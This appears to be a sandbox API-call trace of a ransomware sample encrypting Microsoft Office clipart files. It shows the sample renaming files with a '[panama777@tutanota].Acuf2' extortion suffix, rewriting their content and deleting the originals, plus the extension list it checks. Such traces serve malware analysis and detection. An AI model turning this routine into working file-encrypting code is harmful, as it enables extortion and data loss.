	[0269.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0269.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.024] lstrlenW (lpString=".doc") returned 4
	[0269.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.024] lstrlenW (lpString=".docx") returned 5
	[0269.024] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0269.024] lstrlenW (lpString=".pdf") returned 4
	[0269.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.024] lstrlenW (lpString=".xls") returned 4
	[0269.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.024] lstrlenW (lpString=".xlsx") returned 5
	[0269.024] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0269.024] lstrlenW (lpString=".ppt") returned 4
	[0269.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.024] lstrlenW (lpString=".zip") returned 4
	[0269.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.024] lstrlenW (lpString=".rar") returned 4
	[0269.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.025] lstrlenW (lpString=".bz2") returned 4
	[0269.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.025] lstrlenW (lpString=".7z") returned 3
	[0269.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.025] lstrlenW (lpString=".dbf") returned 4
	[0269.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.025] lstrlenW (lpString=".1cd") returned 4
	[0269.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF") returned 63
	[0269.025] lstrlenW (lpString=".jpg") returned 4
	[0269.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.025] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=16596) returned 1
	[0269.025] CloseHandle (hObject=0x370) returned 1
	[0269.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 0x20
	[0269.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0269.026] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.026] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.026] GetLastError () returned 0x0
	[0269.026] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x40d4, lpOverlapped=0x0) returned 1
	[0269.036] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x40e0, lpOverlapped=0x0) returned 1
	[0269.037] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.037] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.037] SetEndOfFile (hFile=0x274) returned 1
	[0269.037] CloseHandle (hObject=0x274) returned 1
	[0269.037] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.037] SetEndOfFile (hFile=0x370) returned 1
	[0269.040] CloseHandle (hObject=0x370) returned 1
	[0269.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0269.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.041] lstrlenW (lpString=".doc") returned 4
	[0269.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.041] lstrlenW (lpString=".docx") returned 5
	[0269.041] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0269.041] lstrlenW (lpString=".pdf") returned 4
	[0269.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.041] lstrlenW (lpString=".xls") returned 4
	[0269.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.041] lstrlenW (lpString=".xlsx") returned 5
	[0269.041] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0269.041] lstrlenW (lpString=".ppt") returned 4
	[0269.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.041] lstrlenW (lpString=".zip") returned 4
	[0269.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.041] lstrlenW (lpString=".rar") returned 4
	[0269.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.041] lstrlenW (lpString=".bz2") returned 4
	[0269.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.041] lstrlenW (lpString=".7z") returned 3
	[0269.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.041] lstrlenW (lpString=".dbf") returned 4
	[0269.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.042] lstrlenW (lpString=".1cd") returned 4
	[0269.042] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099146.WMF") returned 63
	[0269.042] lstrlenW (lpString=".jpg") returned 4
	[0269.042] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.042] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=18258) returned 1
	[0269.042] CloseHandle (hObject=0x370) returned 1
	[0269.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 0x20
	[0269.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0269.042] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.042] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.043] GetLastError () returned 0x0
	[0269.043] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4752, lpOverlapped=0x0) returned 1
	[0269.051] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4760, lpOverlapped=0x0) returned 1
	[0269.052] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.052] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.052] SetEndOfFile (hFile=0x274) returned 1
	[0269.052] CloseHandle (hObject=0x274) returned 1
	[0269.052] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.052] SetEndOfFile (hFile=0x370) returned 1
	[0269.055] CloseHandle (hObject=0x370) returned 1
	[0269.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg")) returned 1
	[0269.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.055] lstrlenW (lpString=".doc") returned 4
	[0269.055] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.055] lstrlenW (lpString=".docx") returned 5
	[0269.055] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0269.055] lstrlenW (lpString=".pdf") returned 4
	[0269.055] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.055] lstrlenW (lpString=".xls") returned 4
	[0269.055] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.055] lstrlenW (lpString=".xlsx") returned 5
	[0269.055] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0269.055] lstrlenW (lpString=".ppt") returned 4
	[0269.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.056] lstrlenW (lpString=".zip") returned 4
	[0269.056] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.056] lstrlenW (lpString=".rar") returned 4
	[0269.056] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.056] lstrlenW (lpString=".bz2") returned 4
	[0269.056] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.056] lstrlenW (lpString=".7z") returned 3
	[0269.056] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.056] lstrlenW (lpString=".dbf") returned 4
	[0269.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.056] lstrlenW (lpString=".1cd") returned 4
	[0269.056] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63
	[0269.056] lstrlenW (lpString=".jpg") returned 4
	[0269.056] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.326] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.326] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0269.326] GetLastError () returned 0x0
	[0269.326] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x559a, lpOverlapped=0x0) returned 1
	[0269.352] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x55a0, lpOverlapped=0x0) returned 1
	[0269.353] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.353] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.353] SetEndOfFile (hFile=0x390) returned 1
	[0269.353] CloseHandle (hObject=0x390) returned 1
	[0269.353] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.353] SetEndOfFile (hFile=0x384) returned 1
	[0269.355] CloseHandle (hObject=0x384) returned 1
	[0269.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0269.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.356] lstrlenW (lpString=".doc") returned 4
	[0269.356] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.356] lstrlenW (lpString=".docx") returned 5
	[0269.356] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0269.356] lstrlenW (lpString=".pdf") returned 4
	[0269.356] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.356] lstrlenW (lpString=".xls") returned 4
	[0269.356] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.356] lstrlenW (lpString=".xlsx") returned 5
	[0269.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0269.356] lstrlenW (lpString=".ppt") returned 4
	[0269.356] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.356] lstrlenW (lpString=".zip") returned 4
	[0269.356] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.356] lstrlenW (lpString=".rar") returned 4
	[0269.356] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.356] lstrlenW (lpString=".bz2") returned 4
	[0269.356] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.356] lstrlenW (lpString=".7z") returned 3
	[0269.356] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.356] lstrlenW (lpString=".dbf") returned 4
	[0269.356] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.356] lstrlenW (lpString=".1cd") returned 4
	[0269.357] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63
	[0269.357] lstrlenW (lpString=".jpg") returned 4
	[0269.357] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.357] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11694) returned 1
	[0269.357] CloseHandle (hObject=0x384) returned 1
	[0269.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20
	[0269.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0269.357] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.357] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0269.358] GetLastError () returned 0x0
	[0269.358] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2dae, lpOverlapped=0x0) returned 1
	[0269.501] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2db0, lpOverlapped=0x0) returned 1
	[0269.502] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.502] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.502] SetEndOfFile (hFile=0x390) returned 1
	[0269.502] CloseHandle (hObject=0x390) returned 1
	[0269.504] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.504] SetEndOfFile (hFile=0x384) returned 1
	[0269.506] CloseHandle (hObject=0x384) returned 1
	[0269.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0269.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.650] lstrlenW (lpString=".doc") returned 4
	[0269.650] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.651] lstrlenW (lpString=".docx") returned 5
	[0269.651] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0269.651] lstrlenW (lpString=".pdf") returned 4
	[0269.651] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.651] lstrlenW (lpString=".xls") returned 4
	[0269.651] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.651] lstrlenW (lpString=".xlsx") returned 5
	[0269.651] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0269.651] lstrlenW (lpString=".ppt") returned 4
	[0269.651] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.651] lstrlenW (lpString=".zip") returned 4
	[0269.651] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.651] lstrlenW (lpString=".rar") returned 4
	[0269.651] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.651] lstrlenW (lpString=".bz2") returned 4
	[0269.651] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.651] lstrlenW (lpString=".7z") returned 3
	[0269.651] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.651] lstrlenW (lpString=".dbf") returned 4
	[0269.651] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.652] lstrlenW (lpString=".1cd") returned 4
	[0269.652] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63
	[0269.652] lstrlenW (lpString=".jpg") returned 4
	[0269.652] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0269.652] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.652] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0269.653] GetLastError () returned 0x0
	[0269.653] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x25c7, lpOverlapped=0x0) returned 1
